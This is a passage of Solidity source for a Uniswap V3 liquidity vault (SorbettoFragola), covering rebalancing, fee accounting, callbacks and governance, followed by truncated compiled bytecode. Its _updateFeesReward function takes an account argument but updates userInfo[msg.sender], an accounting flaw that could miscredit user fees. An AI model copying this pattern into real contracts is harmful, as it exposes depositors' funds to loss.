rerange for Sorbetto's balances. pool03.burnAllLiquidity(tickLower, tickUpper); // Emit snapshot to record balances uint256 balance0 = _balance0(); uint256 balance1 = _balance1(); emit Snapshot(balance0, balance1); int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier(); //Get exact ticks depending on Sorbetto's balances (tickLower, tickUpper) = pool03.getPositionTicks(balance0, balance1, baseThreshold, tickSpacing); //Get Liquidity for Sorbetto's balances uint128 liquidity = pool03.liquidityForAmounts(balance0, balance1, tickLower, tickUpper); // Add liquidity to the pool (uint256 amount0, uint256 amount1) = pool03.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(MintCallbackData({payer: address(this)}))); emit Rerange(tickLower, tickUpper, amount0, amount1); } /// @inheritdoc ISorbettoFragola function rebalance() external override onlyGovernance nonReentrant checkDeviation updateVault(address(0)) { //Burn all liquidity from pool to rerange for Sorbetto's balances. pool03.burnAllLiquidity(tickLower, tickUpper); //Calc base ticks (uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool03.slot0(); PoolVariables.Info memory cache = PoolVariables.Info(0, 0, 0, 0, 0, 0, 0); int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier(); (cache.tickLower, cache.tickUpper) = PoolVariables.baseTicks(currentTick, baseThreshold, tickSpacing); cache.amount0Desired = _balance0(); cache.amount1Desired = _balance1(); emit Snapshot(cache.amount0Desired, cache.amount1Desired); // Calc liquidity for base ticks cache.liquidity = pool03.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper); // Get exact amounts for base ticks (cache.amount0, cache.amount1) = pool03.amountsForLiquidity(cache.liquidity, cache.tickLower, cache.tickUpper); // Get imbalanced token bool zeroForOne = PoolVariables.amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1); // Calculate the amount of imbalanced token that should be swapped. Calculations strive to achieve one to one ratio int256 amountSpecified = zeroForOne ? int256(cache.amount0Desired.sub(cache.amount0).unsafeDiv(2)) : int256(cache.amount1Desired.sub(cache.amount1).unsafeDiv(2)); // always positive. "overflow" safe convertion cuz we are dividing by 2 // Calculate Price limit depending on price impact uint160 exactSqrtPriceImpact = sqrtPriceX96.mul160(ISorbettoStrategy(strategy).priceImpactPercentage() / 2) / 1e6; uint160 sqrtPriceLimitX96 = zeroForOne ? sqrtPriceX96.sub160(exactSqrtPriceImpact) : sqrtPriceX96.add160(exactSqrtPriceImpact); //Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit pool03.swap( address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, abi.encode(SwapCallbackData({zeroForOne: zeroForOne})) ); (sqrtPriceX96, currentTick, , , , , ) = pool03.slot0(); // Emit snapshot to record balances cache.amount0Desired = _balance0(); cache.amount1Desired = _balance1(); emit Snapshot(cache.amount0Desired, cache.amount1Desired); //Get exact ticks depending on Sorbetto's new balances (tickLower, tickUpper) = pool03.getPositionTicks(cache.amount0Desired, cache.amount1Desired, baseThreshold, tickSpacing); cache.liquidity = pool03.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, tickLower, tickUpper); // Add liquidity to the pool (cache.amount0, cache.amount1) = pool03.mint( address(this), tickLower, tickUpper, cache.liquidity, abi.encode(MintCallbackData({payer: address(this)}))); emit Rerange(tickLower, tickUpper, cache.amount0, cache.amount1); } // Calcs user share depending on deposited amounts function _calcShare(uint256 amount0Desired, uint256 amount1Desired) internal view returns ( uint256 shares ) { shares = amount0Desired.mul(universalMultiplier).unsafeDiv(token1DecimalPower).add(amount1Desired.mul(1e12)); // Mul(1e12) Recalculated to match precisions } /// @dev Amount of token0 held as unused balance. function _balance0() internal view returns (uint256) { return IERC20(token0).balanceOf(address(this)); } /// @dev Amount of token1 held as unused balance. function _balance1() internal view returns (uint256) { return IERC20(token1).balanceOf(address(this)); } /// @dev collects fees from the pool function _earnFees() internal returns (uint256 userCollect0, uint256 userCollect1) { // Do zero-burns to poke the Uniswap pools so earned fees are updated pool03.burn(tickLower, tickUpper, 0); (uint256 collect0, uint256 collect1) = pool03.collect( address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max ); // Calculate protocol's and users share of fees uint256 feeToProtocol0 = collect0.mul(ISorbettoStrategy(strategy).protocolFee()).unsafeDiv(GLOBAL_DIVISIONER); uint256 feeToProtocol1 = collect1.mul(ISorbettoStrategy(strategy).protocolFee()).unsafeDiv(GLOBAL_DIVISIONER); accruedProtocolFees0 = accruedProtocolFees0.add(feeToProtocol0); accruedProtocolFees1 = accruedProtocolFees1.add(feeToProtocol1); userCollect0 = collect0.sub(feeToProtocol0); userCollect1 = collect1.sub(feeToProtocol1); usersFees0 = usersFees0.add(userCollect0); usersFees1 = usersFees1.add(userCollect1); emit CollectFees(collect0, collect1, usersFees0, usersFees1); } /// @notice Returns current Sorbetto's position in pool function position() external view returns (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1) { bytes32 positionKey = PositionKey.compute(address(this), tickLower, tickUpper); (liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128, tokensOwed0, tokensOwed1) = pool03.positions(positionKey); } /// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint. /// @dev In the implementation you must pay to the pool for the minted liquidity. /// @param amount0 The amount of token0 due to the pool for the minted liquidity /// @param amount1 The amount of token1 due to the pool for the minted liquidity /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external { require(msg.sender == address(pool03)); MintCallbackData memory decoded = abi.decode(data, (MintCallbackData)); if (amount0 > 0) pay(token0, decoded.payer, msg.sender, amount0); if (amount1 > 0) pay(token1, decoded.payer, msg.sender, amount1); } /// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap. /// @dev In the implementation you must pay to the pool for swap. /// @param amount0 The amount of token0 due to the pool for the swap /// @param amount1 The amount of token1 due to the pool for the swap /// @param _data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0, int256 amount1, bytes calldata _data ) external { require(msg.sender == address(pool03)); require(amount0 > 0 || amount1 > 0); // swaps entirely within 0-liquidity regions are not supported SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData)); bool zeroForOne = data.zeroForOne; if (zeroForOne) pay(token0, address(this), msg.sender, uint256(amount0)); else pay(token1, address(this), msg.sender, uint256(amount1)); } /// @param token The token to pay /// @param payer The entity that must pay /// @param recipient The entity that will receive payment /// @param value The amount to pay function pay( address token, address payer, address recipient, uint256 value ) internal { if (token == weth && address(this).balance >= value) { // pay with WETH9 IWETH9(weth).deposit{value: value}(); // wrap only what is needed to pay IWETH9(weth).transfer(recipient, value); } else if (payer == address(this)) { // pay with tokens already in the contract (for the exact input multihop case) TransferHelper.safeTransfer(token, recipient, value); } else { // pull payment TransferHelper.safeTransferFrom(token, payer, recipient, value); } } /** * @notice Used to withdraw accumulated protocol fees. */ function collectProtocolFees( uint256 amount0, uint256 amount1 ) external nonReentrant onlyGovernance updateVault(address(0)) { require(accruedProtocolFees0 >= amount0, "A0"); require(accruedProtocolFees1 >= amount1, "A1"); uint256 balance0 = _balance0(); uint256 balance1 = _balance1(); if (balance0 >= amount0 && balance1 >= amount1) { if (amount0 > 0) pay(token0, address(this), msg.sender, amount0); if (amount1 > 0) pay(token1, address(this), msg.sender, amount1); } else { uint128 liquidity = pool03.liquidityForAmounts(amount0, amount1, tickLower, tickUpper); pool03.burnExactLiquidity(tickLower, tickUpper, liquidity, msg.sender); } accruedProtocolFees0 = accruedProtocolFees0.sub(amount0); accruedProtocolFees1 = accruedProtocolFees1.sub(amount1); emit RewardPaid(msg.sender, amount0, amount1); } /** * @notice Used to withdraw accumulated user's fees. */ function collectFees(uint256 amount0, uint256 amount1) external updateVault(msg.sender) { UserInfo storage user = userInfo[msg.sender]; require(user.token0Rewards >= amount0, "A0"); require(user.token1Rewards >= amount1, "A1"); uint256 balance0 = _balance0(); uint256 balance1 = _balance1(); if (balance0 >= amount0 && balance1 >= amount1) { if (amount0 > 0) pay(token0, address(this), msg.sender, amount0); if (amount1 > 0) pay(token1, address(this), msg.sender, amount1); } else { uint128 liquidity = pool03.liquidityForAmounts(amount0, amount1, tickLower, tickUpper); (amount0, amount1) = pool03.burnExactLiquidity(tickLower, tickUpper, liquidity, msg.sender); } user.token0Rewards = user.token0Rewards.sub(amount0); user.token1Rewards = user.token1Rewards.sub(amount1); emit RewardPaid(msg.sender, amount0, amount1); } // Function modifier that calls update fees reward function modifier updateVault(address account) { _updateFeesReward(account); _; } // Function modifier that checks if price has not moved a lot recently. // This mitigates price manipulation during rebalance and also prevents placing orders // when it's too volatile. modifier checkDeviation() { pool03.checkDeviation(ISorbettoStrategy(strategy).maxTwapDeviation(), ISorbettoStrategy(strategy).twapDuration()); _; } modifier onlyPool() { require(msg.sender == address(pool03), "FP"); _; } // Updates user's fees reward function _updateFeesReward(address account) internal { uint liquidity = pool03.positionLiquidity(tickLower, tickUpper); if (liquidity == 0) return; // we can't poke when liquidity is zero (uint256 collect0, uint256 collect1) = _earnFees(); token0PerShareStored = _tokenPerShare(collect0, token0PerShareStored); token1PerShareStored = _tokenPerShare(collect1, token1PerShareStored); if (account != address(0)) { UserInfo storage user = userInfo[msg.sender]; user.token0Rewards = _fee0Earned(account, token0PerShareStored); user.token0PerSharePaid = token0PerShareStored; user.token1Rewards = _fee1Earned(account, token1PerShareStored); user.token1PerSharePaid = token1PerShareStored; } } // Calculates how much token0 is entitled for a particular user function _fee0Earned(address account, uint256 fee0PerShare_) internal view returns (uint256) { UserInfo memory user = userInfo[account]; return balanceOf(account) .mul(fee0PerShare_.sub(user.token0PerSharePaid)) .unsafeDiv(1e18) .add(user.token0Rewards); } // Calculates how much token1 is entitled for a particular user function _fee1Earned(address account, uint256 fee1PerShare_) internal view returns (uint256) { UserInfo memory user = userInfo[account]; return balanceOf(account) .mul(fee1PerShare_.sub(user.token1PerSharePaid)) .unsafeDiv(1e18) .add(user.token1Rewards); } // Calculates how much token0 is provied per LP token function _tokenPerShare(uint256 collected, uint256 tokenPerShareStored) internal view returns (uint256) { uint _totalSupply = totalSupply(); if (_totalSupply > 0) { return tokenPerShareStored .add( collected .mul(1e18) .unsafeDiv(_totalSupply) ); } return tokenPerShareStored; } /// @notice Refunds any ETH balance held by this contract to the `msg.sender` /// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps /// that use ether for the input amount function refundETH() internal { if (address(this).balance > 0) TransferHelper.safeTransferETH(msg.sender, address(this).balance); } /** * @notice `setGovernance()` should be called by the existing governance * address prior to calling this function. */ function setGovernance(address _governance) external onlyGovernance { pendingGovernance = _governance; } /** * @notice Governance address is not updated until the new governance * address has called `acceptGovernance()` to accept this responsibility. */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "PG"); governance = msg.sender; } // Sets maximum total supply of the PLP function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyGovernance { maxTotalSupply = _maxTotalSupply; } // Sets new strategy contract address for new settings function setStrategy(address _strategy) external onlyGovernance { require(_strategy != address(0), "NA"); strategy = _strategy; } }
0x6080604052600436106103285760003560e01c806370a08231116101a5578063ce81c6bc116100ec578063e1c7392a11610095578063eb3221b41161006f578063eb3221b414610843578063f39c38a014610858578063fa461e331461086d578063fc5eab911461088d57610328565b8063e1c7392a146107f7578063e2bbb1581461080c578063eae989a21461082e57610328565b8063d3487997116100c6578063d348799714610797578063d505accf146107b7578063dd62ed3e146107d757610328565b8063ce81c6bc14610758578063d0c93a7c1461076d578063d21220a71461078257610328565b8063a457c2d71161014e578063ab033ea911610128578063ab033ea91461070e578063b3f05b971461072e578063c5892c021461074357610328565b8063a457c2d7146106b9578063a8c62e76146106d9578063a9059cbb146106ee57610328565b806395d89b411161017f57806395d89b411461067a5780639ecad5c01461068f578063a00fa77f146106a457610328565b806370a08231146106255780637d7c2a1c146106455780637ecebe001461065a57610328565b80632e1a7d4d116102745780633f3e4c111161021d57806359c4f905116101f757806359c4f905146105c65780635aa6e675146105db5780636c751a10146105f05780636cae7bf71461060557610328565b80633f3e4c111461056f5780633fc8cef31461058f57806355b812a8146105a457610328565b80633644e5151161024e5780633644e51514610525578063395093511461053a5780633daf0b001461055a57610328565b80632e1a7d4d146104b5578063313ce567146104e357806333a100ca1461050557610328565b806318160ddd116102d6578063238efcbc116102b0578063238efcbc1461046b57806323b872dd146104805780632ab4d052146104a057610328565b806318160ddd1461041157806318db7c38146104265780631959a0021461043b57610328565b8063095ea7b311610307578063095ea7b3146103a05780630dfe1681146103cd57806314c04c4f146103ef57610328565b806202b5ab1461032d57806306fdde031461035857806309218e911461037a575b600080fd5b34801561033957600080fd5b506103426108a2565b60405161034f9190615934565b60405180910390f35b34801561036457600080fd5b5061036d6108a8565b60405161034f9190615a12565b34801561038657600080fd5b5061038f61093f565b60405161034f959493929190615d7e565b3480156103ac57600080fd5b506103c06103bb366004615365565b610a02565b60405161034f9190615929565b3480156103d957600080fd5b506103e2610a20565b60405161034f91906157c9565b3480156103fb57600080fd5b5061040f61040a3660046156ec565b610a44565b005b34801561041d57600080fd5b50610342610c5a565b34801561043257600080fd5b50610342610c60565b34801561044757600080fd5b5061045b610456366004615261565b610c66565b60405161034f9493929190615dd4565b34801561047757600080fd5b5061040f610c8d565b34801561048c57600080fd5b506103c061049b3660046152b5565b610cd8565b3480156104ac57600080fd5b50610342610d71565b3480156104c157600080fd5b506104d56104d03660046156bc565b610d77565b60405161034f929190615db0565b3480156104ef57600080fd5b506104f8610f7f565b60405161034f9190615def565b34801561051157600080fd5b5061040f610520366004615261565b610f88565b34801561053157600080fd5b50610342611007565b34801561054657600080fd5b506103c0610555366004615365565b611016565b34801561056657600080fd5b50610342611064565b34801561057b57600080fd5b5061040f61058a3660046156bc565b611088565b34801561059b57600080fd5b506103e26110b7565b3480156105b057600080fd5b506105b96110db565b60405161034f91906159bb565b3480156105d257600080fd5b506105b96110eb565b3480156105e757600080fd5b506103e26110fb565b3480156105fc57600080fd5b5061034261110a565b34801561061157600080fd5b5061040f6106203660046156ec565b611110565b34801561063157600080fd5b50610342610640366004615261565b6112db565b34801561065157600080fd5b5061040f6112fa565b34801561066657600080fd5b50610342610675366004615261565b611b56565b34801561068657600080fd5b5061036d611b77565b34801561069b57600080fd5b50610342611bd8565b3480156106b057600080fd5b50610342611bfc565b3480156106c557600080fd5b506103c06106d4366004615365565b611c02565b3480156106e557600080fd5b506103e2611c6d565b3480156106fa57600080fd5b506103c0610709366004615365565b611c7c565b34801561071a57600080fd5b5061040f610729366004615261565b611c90565b34801561073a57600080fd5b506103c0611ce9565b34801561074f57600080fd5b50610342611cf9565b34801561076457600080fd5b50610342611cff565b34801561077957600080fd5b506105b9611d05565b34801561078e57600080fd5b506103e2611d29565b3480156107a357600080fd5b5061040f6107b23660046154b1565b611d4d565b3480156107c357600080fd5b5061040f6107d23660046152f5565b611de7565b3480156107e357600080fd5b506103426107f236600461527d565b611ec9565b34801561080357600080fd5b5061040f611ef4565b61081f61081a3660046156ec565b612155565b60405161034f93929190615dbe565b34801561083a57600080fd5b506103426123a9565b34801561084f57600080fd5b5061040f6123af565b34801561086457600080fd5b506103e2612715565b34801561087957600080fd5b5061040f6108883660046154b1565b612724565b34801561089957600080fd5b506103e26127d1565b60115481565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109345780601f1061090957610100808354040283529160200191610934565b820191906000526020600020905b81548152906001019060200180831161091757829003601f168201915b505050505090505b90565b60008060008060008061096f3060148054906101000a900460020b601460179054906101000a900460020b6127e4565b60095460405163514ea4bf60e01b81529192506001600160a01b03169063514ea4bf906109a0908490600401615934565b60a06040518083038186803b1580156109b857600080fd5b505afa1580156109cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f091906155b5565b939a9299509097509550909350915050565b6000610a16610a0f61281a565b848461281e565b5060015b92915050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60026007541415610a705760405162461bcd60e51b8152600401610a6790615d43565b60405180910390fd5b60026007556012546001600160a01b03163314610a9f5760405162461bcd60e51b8152600401610a6790615cd3565b6000610aaa816128d2565b82600b541015610acc5760405162461bcd60e51b8152600401610a6790615b7e565b81600c541015610aee5760405162461bcd60e51b8152600401610a6790615b28565b6000610af86129a3565b90506000610b04612a42565b9050848210158015610b165750838110155b15610b84578415610b4d57610b4d7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2303388612a91565b8315610b7f57610b7f7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7303387612a91565b610bf2565b601454600954600091610bba916001600160a01b03169088908890600160a01b8104600290810b91600160b81b9004900b612c1e565b601454600954919250610bee916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b8433612cc4565b5050505b600b54610bff9086612e43565b600b55600c54610c0f9085612e43565b600c5560405133907fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f5190610c469088908890615db0565b60405180910390a250506001600755505050565b60025490565b600e5481565b60086020526000908152604090208054600182015460028301546003909301549192909184565b6013546001600160a01b03163314610cb75760405162461bcd60e51b8152600401610a6790615ad2565b6012805473ffffffffffffffffffffffffffffffffffffffff191633179055565b6000610ce5848484612e53565b610d6684610cf161281a565b610d61856040518060400160405280600381526020016254454160e81b815250600160008b6001600160a01b03166001600160a01b031681526020019081526020016000206000610d4061281a565b6001600160a01b031681526020810191909152604001600020549190612f6b565b61281e565b5060015b9392505050565b600a5481565b60008060026007541415610d9d5760405162461bcd60e51b8152600401610a6790615d43565b60026007556014546040805163e7c7cb9160e01b81529051610eb9926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b158015610de857600080fd5b505afa158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e209190615474565b601460009054906101000a90046001600160a01b03166001600160a01b03166326d895456040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6e57600080fd5b505afa158015610e82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea6919061570d565b6009546001600160a01b03169190612f98565b33610ec3816128d2565b60008411610ee35760405162461bcd60e51b8152600401610a6790615c9b565b601454610f1e90600160a01b8104600290810b91600160b81b9004900b610f08610c5a565b6009546001600160a01b03169291908833613064565b9093509150610f2d3385613215565b336001600160a01b03167f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca94858585604051610f6a93929190615dbe565b60405180910390a25060016007559092909150565b60055460ff1690565b6012546001600160a01b03163314610fb25760405162461bcd60e51b8152600401610a6790615cd3565b6001600160a01b038116610fd85760405162461bcd60e51b8152600401610a6790615cd3565b6014805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60006110116132fa565b905090565b6000610a1661102361281a565b84610d61856001600061103461281a565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906133c4565b7f00000000000000000000000000000000000000000000000000000000000f424081565b6012546001600160a01b031633146110b25760405162461bcd60e51b8152600401610a6790615cd3565b600a55565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b601454600160b81b900460020b81565b601454600160a01b900460020b81565b6012546001600160a01b031681565b600f5481565b3361111a816128d2565b336000908152600860205260409020805484111561114a5760405162461bcd60e51b8152600401610a6790615b7e565b828160010154101561116e5760405162461bcd60e51b8152600401610a6790615b28565b60006111786129a3565b90506000611184612a42565b90508582101580156111965750848110155b156112045785156111cd576111cd7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2303389612a91565b84156111ff576111ff7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7303388612a91565b611275565b60145460095460009161123a916001600160a01b03169089908990600160a01b8104600290810b91600160b81b9004900b612c1e565b60145460095491925061126e916001600160a01b031690600160a01b8104600290810b91600160b81b9004900b8433612cc4565b9097509550505b82546112819087612e43565b835560018301546112929086612e43565b600184015560405133907fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f51906112cb9089908990615db0565b60405180910390a2505050505050565b6001600160a01b0381166000908152602081905260409020545b919050565b6012546001600160a01b031633146113245760405162461bcd60e51b8152600401610a6790615cd3565b600260075414156113475760405162461bcd60e51b8152600401610a6790615d43565b60026007556014546040805163e7c7cb9160e01b81529051611392926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b158015610de857600080fd5b600061139d816128d2565b6014546009546113ce916001600160a01b0390911690600160a01b8104600290810b91600160b81b9004900b6133d4565b600080600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561141f57600080fd5b505afa158015611433573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611457919061560b565b50505050509150915060006040518060e001604052806000815260200160008152602001600081526020016000815260200160006001600160801b03168152602001600060020b8152602001600060020b81525090506000601460009054906101000a90046001600160a01b03166001600160a01b03166328a90bc26040518163ffffffff1660e01b815260040160206040518083038186803b1580156114fd57600080fd5b505afa158015611511573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115359190615474565b7f000000000000000000000000000000000000000000000000000000000000003c02905061158483827f000000000000000000000000000000000000000000000000000000000000003c61350b565b600290810b810b60c085015290810b900b60a08301526115a26129a3565b82526115ac612a42565b6020830181905282516040517f492fbd8cfdd942203e99f6bc74253a1e1f5791b0644612279e778349f353b198926115e49291615db0565b60405180910390a18151602083015160a084015160c0850151600954611619946001600160a01b039091169390929091612c1e565b6001600160801b03166080830181905260a083015160c084015160095461164d936001600160a01b03909116929091613528565b60608401819052604084018290528351602085015160009361166e936135d1565b90506000816116a25761169d600261169786606001518760200151612e4390919063ffffffff16565b9061360c565b6116b9565b604084015184516116b99160029161169791612e43565b90506000620f424061176f6002601460009054906101000a90046001600160a01b03166001600160a01b0316630a7013236040518163ffffffff1660e01b815260040160206040518083038186803b15801561171457600080fd5b505afa158015611728573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174c9190615699565b62ffffff168161175857fe5b6001600160a01b038b169162ffffff910416613611565b6001600160a01b03168161177f57fe5b0490506000836117a15761179c6001600160a01b03891683613663565b6117b4565b6117b46001600160a01b0389168361367f565b6009546040805160208082018352881515825291519394506001600160a01b039092169263128acb089230928992899288926117f09201615d72565b6040516020818303038152906040526040518663ffffffff1660e01b815260040161181f959493929190615801565b6040805180830381600087803b15801561183857600080fd5b505af115801561184c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611870919061548e565b5050600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b1580156118c057600080fd5b505afa1580156118d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118f8919061560b565b50949c50929a5061190d93506129a392505050565b8652611917612a42565b6020870181905286516040517f492fbd8cfdd942203e99f6bc74253a1e1f5791b0644612279e778349f353b1989261194f9291615db0565b60405180910390a185516020870151600954611998926001600160a01b0390911691887f000000000000000000000000000000000000000000000000000000000000003c61369b565b6014805462ffffff60b81b1916600160b81b600293840b62ffffff90811682029290921762ffffff60a01b1916600160a01b95850b9290921685029190911791829055895160208b0151600954611a08966001600160a01b039091169592949193908204830b929104900b612c1e565b6001600160801b03166080870181905260095460145460408051602080820183523080835292516001600160a01b0390951695633c8a7d8d959394600160a01b8104600290810b95600160b81b909204900b939192611a68929101615d5f565b6040516020818303038152906040526040518663ffffffff1660e01b8152600401611a97959493929190615846565b6040805180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae8919061548e565b60608801819052604080890183905260145490517fe8cca0c7750fd7d917d80f8fdf0471f461983adb519dab0c25dc7ebfe828e05f93611b3e93600160a01b8404600290810b94600160b81b9004900b926159ef565b60405180910390a15050600160075550505050505050565b6001600160a01b0381166000908152600660205260408120610a1a9061389a565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109345780601f1061090957610100808354040283529160200191610934565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b600c5481565b6000610a16611c0f61281a565b84610d6185604051806040016040528060038152602001622222a160e91b81525060016000611c3c61281a565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190612f6b565b6014546001600160a01b031681565b6000610a16611c8961281a565b8484612e53565b6012546001600160a01b03163314611cba5760405162461bcd60e51b8152600401610a6790615cd3565b6013805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b601454600160d01b900460ff1681565b60105481565b600d5481565b7f000000000000000000000000000000000000000000000000000000000000003c81565b7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec781565b6009546001600160a01b03163314611d6457600080fd5b6000611d7282840184615502565b90508415611daa57611daa7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc282600001513388612a91565b8315611de057611de07f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec782600001513387612a91565b5050505050565b83421115611e075760405162461bcd60e51b8152600401610a6790615a7b565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888611e368c61389e565b89604051602001611e4c9695949392919061593d565b6040516020818303038152906040528051906020012090506000611e6f826138d0565b90506000611e7f828787876138e3565b9050896001600160a01b0316816001600160a01b031614611eb25760405162461bcd60e51b8152600401610a6790615c45565b611ebd8a8a8a61281e565b50505050505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6012546001600160a01b03163314611f1e5760405162461bcd60e51b8152600401610a6790615cd3565b601454600160d01b900460ff1615611f485760405162461bcd60e51b8152600401610a6790615cef565b601480547fffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffff16600160d01b17908190556040805163145485e160e11b815290516000926001600160a01b0316916328a90bc2916004808301926020929190829003018186803b158015611fba57600080fd5b505afa158015611fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ff29190615474565b7f000000000000000000000000000000000000000000000000000000000000003c029050600080600960009054906101000a90046001600160a01b03166001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561206757600080fd5b505afa15801561207b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209f919061560b565b50505050509150915060006120d4827f000000000000000000000000000000000000000000000000000000000000003c6139db565b60148054868301600290810b62ffffff908116600160b81b0262ffffff60b81b198a870390930b909116600160a01b0262ffffff60a01b199093169290921716179055905061214c6001600160a01b0384167f0000000000000000000000000000000000000000000000000de0b6b3a7640000613a27565b60115550505050565b60008060006002600754141561217d5760405162461bcd60e51b8152600401610a6790615d43565b60026007556014546040805163e7c7cb9160e01b815290516121c8926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b158015610de857600080fd5b336121d2816128d2565b6000861180156121e25750600085115b6121fe5760405162461bcd60e51b8152600401610a6790615b0b565b601454600954600091612234916001600160a01b03169089908990600160a01b8104600290810b91600160b81b9004900b612c1e565b600954601454604080516020808201835233825291519495506001600160a01b0390931693633c8a7d8d933093600160a01b8104600290810b94600160b81b909204900b92889261228792909101615d5f565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016122b6959493929190615846565b6040805180830381600087803b1580156122cf57600080fd5b505af11580156122e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612307919061548e565b90945092506123168484613a42565b94506123223386613a95565b600a5461232d610c5a565b111561234b5760405162461bcd60e51b8152600401610a6790615bd2565b612353613b49565b336001600160a01b03167f36af321ec8d3c75236829c5317affd40ddb308863a1236d2d277a4025cccee1e86868660405161239093929190615dbe565b60405180910390a2505060016007819055509250925092565b600b5481565b600260075414156123d25760405162461bcd60e51b8152600401610a6790615d43565b60026007556014546040805163e7c7cb9160e01b8152905161241d926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b158015610de857600080fd5b6000612428816128d2565b601454600954612459916001600160a01b0390911690600160a01b8104600290810b91600160b81b9004900b6133d4565b60006124636129a3565b9050600061246f612a42565b90507f492fbd8cfdd942203e99f6bc74253a1e1f5791b0644612279e778349f353b19882826040516124a2929190615db0565b60405180910390a16014546040805163145485e160e11b815290516000926001600160a01b0316916328a90bc2916004808301926020929190829003018186803b1580156124ef57600080fd5b505afa158015612503573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125279190615474565b6009547f000000000000000000000000000000000000000000000000000000000000003c918202925061256b916001600160a01b039091169085908590859061369b565b6014805462ffffff60b81b1916600160b81b600293840b62ffffff90811682029290921762ffffff60a01b1916600160a01b95850b92909216850291909117918290556009546000946125d7946001600160a01b039092169389938993928204830b929104900b612c1e565b600954601454604080516020808201835230808352925195965060009586956001600160a01b031694633c8a7d8d9493600160a01b8204600290810b94600160b81b909304900b928a9261262c929101615d5f565b6040516020818303038152906040526040518663ffffffff1660e01b815260040161265b959493929190615846565b6040805180830381600087803b15801561267457600080fd5b505af1158015612688573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126ac919061548e565b6014546040519294509092507fe8cca0c7750fd7d917d80f8fdf0471f461983adb519dab0c25dc7ebfe828e05f916126ff91600160a01b8104600290810b92600160b81b909204900b90869086906159ef565b60405180910390a1505060016007555050505050565b6013546001600160a01b031681565b6009546001600160a01b0316331461273b57600080fd5b600084138061274a5750600083135b61275357600080fd5b600061276182840184615547565b8051909150801561279d576127987f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2303389612a91565b6127c9565b6127c97f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7303388612a91565b505050505050565b6009546001600160a